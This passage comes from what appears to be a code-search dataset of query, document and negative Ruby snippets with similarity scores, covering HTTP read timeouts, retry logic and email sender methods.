"def retry\n raise \"#{@error_msg_prefix} must be passed a block\" unless block_given?\n\n attempts = 0\n start_time = Time.now\n begin\n attempts += 1\n yield attempts\n rescue InfluxError => e\n if attempts > @max_retries\n @api_client.log(:error, 'Maximum retry attempts reached.')\n raise e\n end\n\n if (Time.now - start_time) * 1000 > @max_retry_time\n @api_client.log(:error, \"Maximum retry time #{@max_retry_time} ms exceeded\")\n raise e\n end\n\n raise e if (e.code.nil? || e.code.to_i < 429) && !_connection_error(e.original)\n\n timeout = if e.retry_after.nil? || e.retry_after.empty?\n get_backoff_time(attempts)\n else\n (e.retry_after.to_f * 1000) + @jitter_interval * rand\n end\n\n message = 'The retriable error occurred during writing of data. '\\\n \"Reason: '#{e.message}'. Retry in: #{timeout.to_f / 1000}s.\"\n\n @api_client.log(:warn, message)\n sleep timeout / 1000\n retry\n end\n end",
"def set_attempts_amount\n max_number <= 10 ? 2 : 10\nend",
"def max_redirects(times)\n @redirects = times\n end",
"def retryable(options = {}, &block)\n options = {:max_retries => 4, :on_retry => nil, :retry_delay => 1.0}.merge!(options)\n retry_count = options[:max_retries]\n\n begin\n yield\n\n rescue Beaneater::NotConnected\n if retry_count > 0\n reconnect!\n retry_count -= 1\n sleep options[:retry_delay]\n options[:on_retry].call if options[:on_retry].respond_to?(:call)\n retry\n else # stop retrying\n raise e\n end\n end\n end",
"def increase_reconnect_delay\n\n @reconnect_delay *= @parameters[:back_off_multiplier] if @parameters[:use_exponential_back_off]\n @reconnect_delay = @parameters[:max_reconnect_delay] if @reconnect_delay > @parameters[:max_reconnect_delay]\n\n @reconnect_delay\n end",
"def retry_action (initial_wait_time_in_seconds=3, max_attempts=3, &block)\n num_tries = 0\n wait_time = 1\n successful = false\n\n while (num_tries <= max_attempts && !successful)\n begin\n block.call\n successful = true\n rescue StandardError => ex\n num_tries += 1\n wait_time *= initial_wait_time_in_seconds\n sleep(wait_time)\n end\n end\n end",
"def increment_tries\n @tries += 1\n end",
"def max_write_retries\n options[:max_write_retries] || Cluster::MAX_WRITE_RETRIES\n end",
"def try_max_times(n, *args, &bl)\n retried = 0\n took = 0\n begin\n result = nil\n took += Benchmark.realtime {\n result = bl.call\n }\n result\n rescue => ex\n Tools.error(args + [{op_took: took, error: ex}]) if retried == 0\n retried += 1\n if retried < n\n sleep(retried)\n retry\n else\n Tools.fatal(args + [{op_took: took, error: ex}])\n raise\n end\n end\n end",
"def limit\n @timeout\n end",
"def retry_change_requests= retry_change_requests\n @agent.retry_change_requests = retry_change_requests\n end",
"def max_redirects\n limit = @options &&\n (\n @options[:max_redirects] ||\n @options['max_redirects']\n )\n limit.nil? ? 5 : limit.to_i\n end",
"def max_redirects\n limit = @options &&\n (\n @options[:max_redirects] ||\n @options['max_redirects']\n )\n limit.nil? ? 5 : limit.to_i\n end",
"def max_redirects\n limit = @options &&\n (\n @options[:max_redirects] ||\n @options['max_redirects']\n )\n limit.nil? ? 5 : limit.to_i\n end",
"def rate_limit\n connection.rate_limit\n end",
"def throttle(request)\n time_left = $redis.ttl(cache_key(request))\n [429, {}, [\"Rate limit exceeded. Try again in #{time_left} seconds.\"]]\n end",
"def limit(limit)\n self.query.limit = limit\n self\n end",
"def repeats(n)\n # Check that the number is in the correct range.\n if n > 0 && n <= 50\n @metadata[:repeats] = n\n else\n raise \"The number of repeats must be between 1 and 50.\"\n end\n return self\n end",
"def retryable(retries, delay)\r\n yield\r\n rescue *RETRYABLE_EXCEPTIONS.call\r\n raise unless (retries -= 1) > 0\r\n\r\n sleep(delay)\r\n retry\r\n end",
"def rate_limit_exceeded\n headers = respond_to?(:retry_after) ? {'Retry-After' => retry_after.to_f.ceil.to_s} : {}\n http_error(options[:code] || 403, options[:message], headers)\n end",
"def default_limit\n 10\n end",
"def retry\n self.solved(:retry)\n end",
"def limit(value)\n using(limit: value)\n end",
"def limit(amount)\n self.parameters[:limit] = amount\n self\n end",
"def retry_service(e) # e == rescued error\n\t\t\tif self.tries <= 10\n\t\t\t\tself.tries += 1\n\t\t\t\t# puts \"Connection issues... retrying in 3 seconds\"\n\t\t\t\tsleep(3)\n\t\t\t\tself.call_service\n\t\t\telse\n\t\t\t\tputs \"Backtrace: #{e.backtrace}\"\n\t\t\t\tputs \"BIG TIME ERROR getting: #{self.url}\"\n\t\t\tend\n\t\tend",
"def try(&block)\n\n tries = REST_MAX_TRIES\n\n begin\n yield\n rescue\n tries -= 1\n tries > 0 ? retry : raise\n end\n end",
"def retry_change_requests\n @agent.retry_change_requests\n end",
"def times(num)\n return if num == 1 # we expect 1 call by default\n num -= 1\n num.times do\n API.stubs << self.dup\n end\n self\n end",
"def limit count\n count.zero? ? none : super\n end",
"def limit(value = 20)\n clone.tap { |crit| crit.options[:limit] = value.to_i }\n end",
"def handle_rate_limit(&block)\n begin\n block.call\n rescue Twitter::Error::TooManyRequests => error\n wait_time = error.rate_limit.reset_in + 10\n if @verbose\n minutes = wait_time / 60\n puts\n puts \"RATE LIMIT HIT: Wait #{minutes} minutes.\"\n end\n countdown(wait_time)\n retry\n end\n end",
"def snooze(attempts)\n if attempts >= RETRY_MAX_ATTEMPTS\n logger.debug(\"Exceeded retry limit of #{RETRY_MAX_ATTEMPTS}.\")\n false\n else\n sleep(RETRY_DELAY * RETRY_DELAY_FACTOR)\n true\n end\n end",
"def redirection_limit= limit\n @agent.redirection_limit = limit\n end",
"def limit(val)\n @params[:retmax] = val\n self\n end",
"def retry_after\n @retry_after ||= (1.0 / options[:average].to_f)\n end",
"def retry_infinitely\n Observable.rescue_error(enumerator_repeat_infinitely(self))\n end",
"def limit_exceeded(amount = 1)\n self if exceeded?(amount)\n end",
"def lock_timeout_retries; end",
"def rate_limit_enforced(response)\n retry_after_seconds = response[:headers]['Retry-After']\n RateLimitEnforced.new(retry_after_seconds).tap do |exception|\n exception.response = response\n end\n end"
] | [
"0.7715865",
"0.73063475",
"0.7090918",
"0.69741553",
"0.683391",
"0.6830882",
"0.6812935",
"0.67605144",
"0.66903305",
"0.66903305",
"0.66903305",
"0.66903305",
"0.66903305",
"0.66903305",
"0.66903305",
"0.6605847",
"0.6579335",
"0.64517504",
"0.6432092",
"0.6432092",
"0.6423027",
"0.6311671",
"0.6305373",
"0.6305373",
"0.6256961",
"0.6255589",
"0.62548304",
"0.6246377",
"0.62178934",
"0.6194599",
"0.6194599",
"0.6194599",
"0.6097341",
"0.6070848",
"0.60309774",
"0.6030808",
"0.59819484",
"0.5974929",
"0.5973369",
"0.59524745",
"0.59265924",
"0.5908211",
"0.5870905",
"0.58708483",
"0.5856531",
"0.57971865",
"0.57932985",
"0.57905704",
"0.57905704",
"0.57711524",
"0.57673556",
"0.57615674",
"0.5736885",
"0.5734798",
"0.5720172",
"0.5718621",
"0.5688043",
"0.5678838",
"0.56258416",
"0.56174946",
"0.5570682",
"0.5564062",
"0.5560317",
"0.55591404",
"0.55373365",
"0.5536048",
"0.55247635",
"0.55229634",
"0.547692",
"0.5469634",
"0.5452549",
"0.5446865",
"0.54342663",
"0.54342663",
"0.54342663",
"0.5420364",
"0.54073393",
"0.5405083",
"0.5401052",
"0.53907084",
"0.5369637",
"0.5356507",
"0.5342984",
"0.5334149",
"0.5330497",
"0.53278905",
"0.53260267",
"0.5315878",
"0.5310082",
"0.53090274",
"0.53089464",
"0.53073543",
"0.52988166",
"0.52927005",
"0.5290605",
"0.5288413",
"0.5277436",
"0.52763814",
"0.52755934",
"0.52634096"
] | 0.7880836 | 0 |
The maximum time (in seconds) to wait for the response to be read. (Default is 10) Returns self to accommodate method chaining. | def with_max_timeout(max_timeout)
@max_timeout = max_timeout
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def read_timeout\n @read_timeout\n end",
"def def_read_timeout\n 10\n end",
"def def_read_timeout\n 10\n end",
"def read_timeout=(sec); end",
"def read_timeout= read_timeout\n @agent.read_timeout = read_timeout\n end",
"def read_timeout; end",
"def read_timeout; end",
"def read_timeout; end",
"def read_timeout; end",
"def read_timeout; end",
"def read_timeout; end",
"def read_timeout; end",
"def read_timeout; end",
"def read_timeout=(read_timeout); end",
"def read_timeout\n @agent.read_timeout\n end",
"def limit\n @timeout\n end",
"def request\n HTTP.headers(request_headers).timeout(timeout_options)\n end",
"def http_timeout; end",
"def timeout\n options[:timeout] || super\n end",
"def read_timeout(timeout = nil)\n timeout.nil? ? @read_timeout || DEFAULT_READ_TIMEOUT : @read_timeout = timeout\n end",
"def read_timeout= secs\n if secs\n @read_timeout = secs\n @read_timeout_ms = secs * 1000\n else\n @read_timeout = @read_timeout_ms = nil\n end\n end",
"def read_timeout=(_arg0); end",
"def read_timeout=(_arg0); end",
"def read_timeout=(_arg0); end",
"def request_timeout()\n @req_timeout\n end",
"def timeout\n super\n end",
"def timeout\n super\n end",
"def timeout\n @timeout\n end",
"def timeout\n @options[:timeout] || Settings.TIMEOUT_DOWNLOAD || 20\n end",
"def def_read_loop_timeout\n 0.1\n end",
"def timeout\n return @timeout\n end",
"def after_limit\n response = yield\n update!(response)\n sleep(wait_time)\n response\n end",
"def _read maxlen = DEFAULT_MAXLEN\n begin\n data = nil\n\n loop do\n data = read_from_socket maxlen\n case data\n when :wait_readable\n IO.select selector\n when NilClass\n break\n else\n begin\n @client << data\n rescue HTTP2::Error::ProtocolError => pe\n STDERR.puts \"protocol error: #{pe.message}\"\n STDERR.puts pe.backtrace.map {|l| \"\\t\" + l}\n end\n end\n end\n\n rescue IOError, Errno::EBADF\n close\n ensure\n unblock!\n end\n end",
"def wait_readable_or_timeout; end",
"def read_timeout\n timeout_from_env = ENV[\"CHEF_API_READ_TIMEOUT\"] || config[\"CHEF_API_READ_TIMEOUT\"]\n\n Integer(timeout_from_env) unless timeout_from_env.nil?\n end",
"def timed_read(length = nil, wait = def_read_timeout, opts = {})\n if (wait and wait > 0)\n Timeout.timeout(wait) {\n return read(length, opts)\n }\n else\n return read(length, opts)\n end\n end",
"def backoff response\n # backoff when server isn't persisting connection\n sleep CNXN_SLEEP_TIME if (! @http.started?)\n # Response-based sleep time\n sleep_time = 0\n case response\n when Net::HTTPSuccess then return # 2xx\n when Net::HTTPRedirection then return # 3xx\n when Net::HTTPBadRequest then sleep_time = 10 # 400 (rate limit, probably)\n when Net::HTTPUnauthorized then sleep_time = 0 # 401 (protected user, probably)\n when Net::HTTPForbidden then sleep_time = 10 # 403 update limit\n when Net::HTTPNotFound then sleep_time = 0 # 404 deleted or suspended\n when Net::HTTPServiceUnavailable then sleep_time = 10 # 503 Fail Whale\n when Net::HTTPServerError then sleep_time = 2 # 5xx All other server errors\n else sleep_time = 1\n end\n sleep_time += response['retry-after'].to_i rescue 0\n Log.warn \"Received #{response.code} and retry-after #{response['retry-after']}, sleeping #{sleep_time} ('#{response.message[0..200].gsub(%r{[\\r\\n\\t]}, \" \")}' from #{@host}+#{@connection_opened_at}): '#{response.body[0..200].gsub(%r{[\\r\\n\\t]}, \" \")}'\"\n sleep sleep_time\n end",
"def till_response attempt=1, max_attempts=5, &block\n response = block.call\n Rubix.logger.log(Logger::DEBUG, \"RECV: #{response.body}\") if Rubix.logger\n case\n when response.code.to_i >= 500 && attempt <= max_attempts\n sleep 1 # FIXME make the sleep time configurable...\n till_response(attempt + 1, max_attempts, &block)\n when response.code.to_i >= 500\n raise ConnectionError.new(\"Too many consecutive failed requests (#{max_attempts}) to the Zabbix API at (#{uri}).\")\n else\n @last_response = Response.new(response)\n end\n end",
"def api_timeout\n @@api_timeout\n end",
"def timeout\n @options[:timeout]\n end",
"def wait_readable(timeout = nil)\n return self if @read_buffer && !@read_buffer.empty?\n\n if timeout\n move_on_after(timeout) do\n Polyphony.backend_wait_io(self, false)\n self\n end\n else\n Polyphony.backend_wait_io(self, false)\n self\n end\n end",
"def timeout\n time = time_ago_in_words(@timeout.seconds.from_now)\n logger.warn(\"Response: Parse Error. Retry in #{time}\")\n\n sleep(@timeout)\n @timeout *= 2 if @timeout < TIMEOUT_UPPER_CAP\n end",
"def timeout\n configuration.timeout\n end",
"def read_response(t = -1, opts = {})\n # Return a nil response if timeout is nil or 0\n return if t.nil? || t == 0\n\n resp = Response.new\n resp.max_data = config['read_max_data']\n\n Timeout.timeout((t < 0) ? nil : t) do\n\n rv = nil\n while (\n not conn.closed? and\n rv != Packet::ParseCode::Completed and\n rv != Packet::ParseCode::Error\n )\n\n begin\n\n buff = conn.get_once(resp.max_data, 1)\n rv = resp.parse(buff || '')\n\n # Handle unexpected disconnects\n rescue ::Errno::EPIPE, ::EOFError, ::IOError\n case resp.state\n when Packet::ParseState::ProcessingHeader\n resp = nil\n when Packet::ParseState::ProcessingBody\n # truncated request, good enough\n resp.error = :truncated\n end\n break\n end\n\n # This is a dirty hack for broken HTTP servers\n if rv == Packet::ParseCode::Completed\n rbody = resp.body\n rbufq = resp.bufq\n\n rblob = rbody.to_s + rbufq.to_s\n tries = 0\n begin\n # XXX: This doesn't deal with chunked encoding or \"Content-type: text/html; charset=...\"\n while tries < 1000 and resp.headers[\"Content-Type\"]== \"text/html\" and rblob !~ /<\\/html>/i\n buff = conn.get_once(-1, 0.05)\n break if not buff\n rblob += buff\n tries += 1\n end\n rescue ::Errno::EPIPE, ::EOFError, ::IOError\n end\n\n resp.bufq = \"\"\n resp.body = rblob\n end\n end\n end\n\n return resp if not resp\n\n # As a last minute hack, we check to see if we're dealing with a 100 Continue here.\n # Most of the time this is handled by the parser via check_100()\n if resp.proto == '1.1' and resp.code == 100 and not opts[:skip_100]\n # Read the real response from the body if we found one\n # If so, our real response became the body, so we re-parse it.\n if resp.body.to_s =~ /^HTTP/\n body = resp.body\n resp = Response.new\n resp.max_data = config['read_max_data']\n rv = resp.parse(body)\n # We found a 100 Continue but didn't read the real reply yet\n # Otherwise reread the reply, but don't try this hack again\n else\n resp = read_response(t, :skip_100 => true)\n end\n end\n\n resp\n rescue Timeout::Error\n # Allow partial response due to timeout\n resp if config['partial']\n end",
"def timeout\n @timeout || Elected.timeout\n end",
"def read(timeout=nil)\n # First strip the additional header indicating the size of the subsequent response\n head = @socket.read(4,nil,timeout)\n length = head.unpack(\"N\")[0]\n response = Response.new.parse_from_string(@socket.read(length))\n # Translate returned path so that minuses are converted to underscores\n response.path.gsub!('-', '_')\n logger.trace('Received') {response.to_hash}\n response\n end",
"def default_timeout\n 3\n end",
"def timeout\n configuration[:timeout] || DEFAULT_TIMEOUT\n end",
"def timeout\n configuration[:timeout] || DEFAULT_TIMEOUT\n end",
"def timeout_seconds\n return 1200\n end",
"def read timeout = DEFAULT_READ_TIMEOUT\n return @responses.shift unless @responses.empty?\n\n results = select([ @socket ], nil, nil, timeout)\n\n @buff += @socket.recv(4 * 1024) if (results and results[0].include? @socket) # results nil on timeout\n\n if @buff =~ /^(.*\\r\\n)(.*)$/m # network responses can split at odd boundries; check for completed messages ending with \\r\\n.\n @buff = $2 # save potential partial response for later..\n @responses += $1.split(/\\r\\n/) # and sock away all of the completed responses\n end\n\n @responses.shift # return next queued message or nil if we've timed out\n end",
"def wait_readable(timeout = nil)\n if timeout\n move_on_after(timeout) do\n Polyphony.backend_wait_io(self, false)\n self\n end\n else\n Polyphony.backend_wait_io(self, false)\n self\n end\n end",
"def read_timeout_exceeded?\n @read_timeout_ms && duration_since_received > @read_timeout_ms\n end",
"def wait_timeout\n @wait_timeout ||= options[:wait_timeout] || DEFAULT_WAIT_TIMEOUT\n end",
"def max_timeout\n self.device.max_timeout\n end",
"def read(n=nil)\n if @response == nil\n raise IOError, \"No response available.\"\n end\n return @remaining_body.read(n)\n end",
"def request_options\n {\n open_timeout:,\n timeout: read_timeout\n }\n end",
"def default_timeout\n 60\n end",
"def server_timelimit\n @connection.opt[:timelimit]\n end",
"def read maxlen = DEFAULT_MAXLEN\n main = Thread.current\n @reader = Thread.new do\n @read_gate.block!\n begin\n _read maxlen\n rescue => e\n main.raise e\n end\n end\n end",
"def tcp_timeout\n super\n end",
"def retrieve opts={}, &block\n start_time = Time.now\n\n @response = stream opts, &block\n\n @response.body # make sure to read the full body from io\n @response.time = Time.now - start_time - @response.conn_time\n\n @response\n end",
"def timeout_ms=(value)\n Curl.set_option(:timeout_ms, value_for(value, :int), handle)\n end",
"def timeout\n @params[:timeout]\n end",
"def timeout_in\n 15.minutes\n end",
"def timeout\n @attributes[:timeout]\n end",
"def find_with_sleep\n sleep(request.sleep || 1)\n response.name = 'Request should have timed out'\n end",
"def extended_timeout\n puts \"Please wait, this could take a few minutes ...\"\n old_timeout = ::DTK::Client::Conn.get_timeout()\n ::DTK::Client::Conn.set_timeout(EXTENDED_TIMEOUT)\n result = yield\n ::DTK::Client::Conn.set_timeout(old_timeout)\n result\n end",
"def initialize\n @timeouts = {\n write: 5,\n connect: 5,\n read: 5\n }\n end",
"def max_wait_time\n @data[\"max_wait_time\"]\n end",
"def maximum_requests\n super\n end",
"def http_with_extra_config\n http = http_without_extra_config\n http.open_timeout = open_timeout if open_timeout\n http.read_timeout = read_timeout if read_timeout\n http\n end",
"def default_timeout\n 900\n end",
"def read_more( connection ); end",
"def max_timeout=(timeout)\n self.device.max_timeout = timeout\n end",
"def read_wait(timeout: nil)\n !!IO.select([io], [], [], timeout)\n end",
"def http_timeout=(_arg0); end",
"def timeout( seconds=nil )\n\t\tif seconds\n\t\t\treturn self.clone( :timeout => seconds )\n\t\telse\n\t\t\treturn @options[:timeout]\n\t\tend\n\tend",
"def wait_cr(tmo=nil)\n t = Machine.millis + tmo if tmo\n loop {\n rsp = self.gets\n return rsp.chomp if rsp.size > 0\n raise \"XBee response timeout\" if t && t <= Machine.millis\n Machine.delay(10)\n }\n end",
"def without_timeout\n\t\treturn self.clone( :timeout => 0 )\n\tend",
"def _timeout_in\n 1.minute\n end",
"def wait(response, retries: 10, delay: 1)\n retries.times do |_i|\n return response if response.done?\n\n sleep(delay)\n response = get(path: response.monitor)\n end\n raise Timeout, \"Async operation did not terminate in allotted time\"\n end",
"def max_read_retries\n options[:max_read_retries] || Cluster::MAX_READ_RETRIES\n end",
"def timedout_read(duration)\n begin \n timeout(duration) do\n @sock.wait_readable\n end\n rescue Celluloid::TaskTimeout\n return true\n end\n false\n end",
"def timeout=(value)\n Curl.set_option(:timeout, value_for(value, :int), handle)\n end",
"def request_timeout(type, options); end",
"def open_timeout\n configuration.open_timeout\n end",
"def initialize( timeout: Arborist::Monitor::Webservice.default_timeout )\n\t\t\tself.timeout = timeout\n\t\tend",
"def open_timeout=(open_timeout); end",
"def open_timeout; end",
"def open_timeout; end",
"def open_timeout; end",
"def open_timeout; end",
"def timeout_in_minutes\n data[:timeout_in_minutes]\n end",
"def max_req_timeout\n @max_req_timeout ||= ENV.fetch(\"MAX_REQ_TIMEOUT\", 60 * 60 * 1_000).to_i\n end",
"def timed_out\n response['timed_out']\n end",
"def response\n payload\n rescue Net::OpenTimeout => e\n Rails.logger.debug(e)\n end",
"def timeout=(timeout)\n @timeout = timeout\n end",
"def custom_command_response_timeout\n limits_yaml = YAML.load_data!(\"#{ECON_DATA_PATH}/limits.yml\")\n return limits_yaml['custom_command_response_timeout']\n end",
"def wait(interval)\n\t\tif( interval and interval == -1 )\n\t\t\twhile(not self.done)\n\t\t\t\t::IO.select(nil, nil, nil, 0.1)\n\t\t\tend\n\t\telse\n\t\t\tbegin\n\t\t\t\tTimeout.timeout(interval) {\n\t\t\t\t\twhile(not self.done)\n\t\t\t\t\t\t::IO.select(nil, nil, nil, 0.1)\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\trescue Timeout::Error\n\t\t\t\tself.response = nil\n\t\t\tend\n\t\tend\n\t\treturn self.response\n\tend"
] | [
"0.6744671",
"0.6727719",
"0.6727719",
"0.6699481",
"0.6503505",
"0.6470899",
"0.6470899",
"0.6470899",
"0.6470899",
"0.6470899",
"0.6470899",
"0.6470899",
"0.6470899",
"0.6469792",
"0.64497656",
"0.6309995",
"0.6068299",
"0.605533",
"0.60068476",
"0.5961539",
"0.5959443",
"0.5935747",
"0.5935747",
"0.5935747",
"0.59107393",
"0.58766896",
"0.58766896",
"0.58765",
"0.58733135",
"0.58714724",
"0.582451",
"0.5824124",
"0.5811427",
"0.57688457",
"0.57643807",
"0.57603306",
"0.5756472",
"0.5751052",
"0.57335246",
"0.57323956",
"0.570798",
"0.570773",
"0.56978655",
"0.5692024",
"0.5657203",
"0.5647616",
"0.5630445",
"0.56267697",
"0.56267697",
"0.56070846",
"0.5605687",
"0.5601149",
"0.56004506",
"0.5597829",
"0.5562768",
"0.55583084",
"0.5545805",
"0.55351347",
"0.55293703",
"0.55175054",
"0.5516839",
"0.55108297",
"0.5481204",
"0.5475837",
"0.54657125",
"0.54420584",
"0.54418117",
"0.5440807",
"0.5432804",
"0.54197884",
"0.5417245",
"0.54168725",
"0.5416063",
"0.5407271",
"0.5396026",
"0.53847194",
"0.536053",
"0.535465",
"0.5348727",
"0.53349054",
"0.5324344",
"0.53206146",
"0.53086776",
"0.53010434",
"0.52908885",
"0.52865565",
"0.5276755",
"0.5275607",
"0.52733207",
"0.5266287",
"0.5266287",
"0.5266287",
"0.5266287",
"0.5261309",
"0.5245841",
"0.5240098",
"0.5238406",
"0.5231041",
"0.5228197",
"0.5227675"
] | 0.621793 | 16 |
Default is a series of nested senders. (See build_sender() Returns self to accommodate method chaining. | def with_sender(sender)
@http_sender = sender
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def default_sender\n DEFAULT_SENDER\n end",
"def senders( params={} )\n senders = get_connections(\"senders\", params)\n return map_connections senders, :to => Facebook::Graph::Generic\n end",
"def senders()\n _params = {}\n return @master.call 'users/senders', _params\n end",
"def text_message_default_sender\n current_params.fetch(:from)\n end",
"def get_senders(opts = {})\n data, _status_code, _headers = get_senders_with_http_info(opts)\n data\n end",
"def all_senders_of(message)\n self.all_classes_and_modules.flat_map do |klassmod|\n klassmod.select_senders_of(message)\n end\n end",
"def sender( val = nil )\n default :sender, val\n end",
"def unique_senders=(value)\n @unique_senders = value\n end",
"def autodetect_sending_method(recipients)\n recipients.first.custom_html_data.present? ? :send_one_by_one! : :send_to_multiple!\n end",
"def to_sender\n if self.sender\n self.sender\n else\n Person.new({\n :gender => self.sender_gender,\n :academic_title_id => self.sender_academic_title_id,\n :first_name => self.sender_first_name,\n :last_name => self.sender_last_name,\n :email => self.sender_email\n })\n end\n end",
"def post_senders(sender_request, opts = {})\n data, _status_code, _headers = post_senders_with_http_info(sender_request, opts)\n data\n end",
"def real_sender()\n\t\tself.received.last\n\tend",
"def sender\n @sender ||= User.find( @sender_id )\n end",
"def default(options = {})\n options.symbolize_keys!\n options.assert_valid_keys(:mailer_class, :mailer, :using, :batch_size)\n @defaults = options\n end",
"def send!(recipients)\n sending_method = autodetect_sending_method(recipients)\n self.__send__(sending_method, recipients)\n end",
"def type\n \"Sender\"\n end",
"def sender(sender_id)\n if sender = User.find(sender_id)\n address = default_sender_address\n address.display_name = sender.name\n address.format\n end\n end",
"def resent_sender( val = nil )\n default :resent_sender, val\n end",
"def unique_senders\n return @unique_senders\n end",
"def init_mailers\n not_matched = []\n # go through all senders\n @senders.each do |name, value|\n # go through all mails\n value.mails.each do |mail|\n # now go though all defined mailers\n found = false\n @mailers.each do |mailername, regexes|\n # go through all defined regexes for that mailer\n \n regexes.each do |regex|\n # create a regex\n re = Regexp.new(regex)\n # add the mailer to sender if the regex matches\n # means: the mail was sent by this mailer\n if re.match(mail.mailer)\n value.add_mailer(mailername) \n found = true\n end\n \n end\n end\n \n # get the unknown mailers (not matched by any rules in settings.yaml)\n if not found and mail.mailer\n mail.mailer.chomp!\n # include them to the list, but only if they aren't already there\n unless not_matched.include? mail.mailer\n not_matched << mail.mailer\n end\n end\n end\n end\n return not_matched\n end",
"def configured_sender( sender_type )\n\t\treturn Observability::Sender.create( sender_type ) if sender_type\n\t\treturn Observability::Sender.configured_type\n\tend",
"def serialized_sender\n user = User.current_user || donor\n Api::V1::UserSerializer.new(user)\n end",
"def send message, targets\n end",
"def sender=(value)\n @sender = value\n end",
"def sender=(value)\n @sender = value\n end",
"def initialize_defaults\n @messenger = @@default_messenger\n @message = Message.new\n end",
"def send(options={})\n end",
"def default_configuration\n iq = connection.iq_stanza({'to'=>jid.bare},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSubOwner},\n x('default')\n )\n )\n\n send_iq_stanza_fibered iq\n end",
"def reset!\n @callers = @default.dup\n self\n end",
"def method_missing(method, *args, &block)\n if instance_methods.include?(method)\n mailer = new\n mailer.send(method, *args, &block)\n mailer\n else\n super\n end\n end",
"def send_invitations(receivers, message: '', sender: self, receiver_type: 'User')\n if receivers.kind_of?(Array)\n receivers.each do |r|\n invitation = Group::Invitation.new(message: message)\n invitation.sender = sender\n if r.is_a? Fixnum or r.is_a? String\n invitation.receiver_id = r.to_i\n invitation.receiver_type = receiver_type\n #create_activity(:create, trackable: invitation, owner_id: r.to_i, owner_type: receiver_type)\n else\n invitation.receiver = r\n #create_activity(:create, trackable: invitation, recipient: r, owner: sender)\n end\n self.group_invitations << invitation\n end\n elsif receivers.is_a? Group::DoInvitation\n do_invitation receivers, sender: sender, receiver_type: receiver_type\n # TODO demander à Numa comment récupérer les infos\n else\n invitation = Group::Invitation.new(message: message)\n invitation.sender = sender\n invitation.receiver = receivers\n\n #create_activity(:create, trackable: invitation, recipient: receivers, owner: sender)\n\n self.group_invitations << invitation\n end\n end",
"def initialize_with_defaults(account, opts={}, &block) #:nodoc:#\n @recipients = []\n initialize_without_defaults(account, opts={}, &block)\n end",
"def send_group_invitations(group, receivers, message = '')\n group.send_invitations(receivers, message, self)\n end",
"def send\n @sent_at = Time.now\n sender.publish(data, meta)\n self\n end",
"def sender(queue_name, opts={}, &blk)\n create(queue_name, :sender, opts, &blk)\n end",
"def send!\n return false unless valid?\n Stalker.instance_for(self.recipient).put(self)\n end",
"def send\n puts \"a fake implementation of `send`\"\n end",
"def sender=(sender)\n @sender = ensure_type(Sender, sender)\n end",
"def sender=(sender)\n @sender = ensure_type(Sender, sender)\n end",
"def last_sender\n @last_sender ||= last_message.sender\n end",
"def send_it!\n raise \"No conversations found for #{property}\" unless property_conversations\n property_dialogs.each do |dialog|\n dialog.write(sender_type, message)\n end\n end",
"def update_sender\n if !@from_name.blank? and from_email_address and !@from_email_address.empty? and !(@from_name.to_s == @from_email_address.to_s )\n self.sender = \"#{@from_name} <#{@from_email_address}>\"\n else\n self.sender = @from_email_address.to_s\n end\n end",
"def post_senders_with_http_info(sender_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SendersApi.post_senders ...'\n end\n # verify the required parameter 'sender_request' is set\n if @api_client.config.client_side_validation && sender_request.nil?\n fail ArgumentError, \"Missing the required parameter 'sender_request' when calling SendersApi.post_senders\"\n end\n # resource path\n local_var_path = '/senders'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(sender_request)\n auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SenderResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SendersApi#post_senders\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def nest(name, chain, executor)\n config = Processor::Config.new(executor, EMPTY_ARRAY, EMPTY_ARRAY)\n use(Processor::Nest::Incoming.new(name, chain, config))\n end",
"def send_all(messages, dry_run: false)\n raise NotImplementedError\n end",
"def get_senders_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SendersApi.get_senders ...'\n end\n # resource path\n local_var_path = '/senders'\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'per'] = opts[:'per'] if !opts[:'per'].nil?\n query_params[:'created_at_from'] = opts[:'created_at_from'] if !opts[:'created_at_from'].nil?\n query_params[:'created_at_to'] = opts[:'created_at_to'] if !opts[:'created_at_to'].nil?\n query_params[:'external_id'] = opts[:'external_id'] if !opts[:'external_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SenderListResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SendersApi#get_senders\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def reply_to_all(delivery, reply_body, subject = nil)\n msg = delivery.message\n recipients = msg.recipients.clone()\n if(msg.sender != self)\n recipients.delete(self)\n if(!recipients.include?(msg.sender))\n recipients << msg.sender\n end\n end\n return reply(delivery.conversation, recipients, reply_body, subject)\n end",
"def open_sender(opts=nil) default_session.open_sender(opts) end",
"def default\n @what = :default\n self\n end",
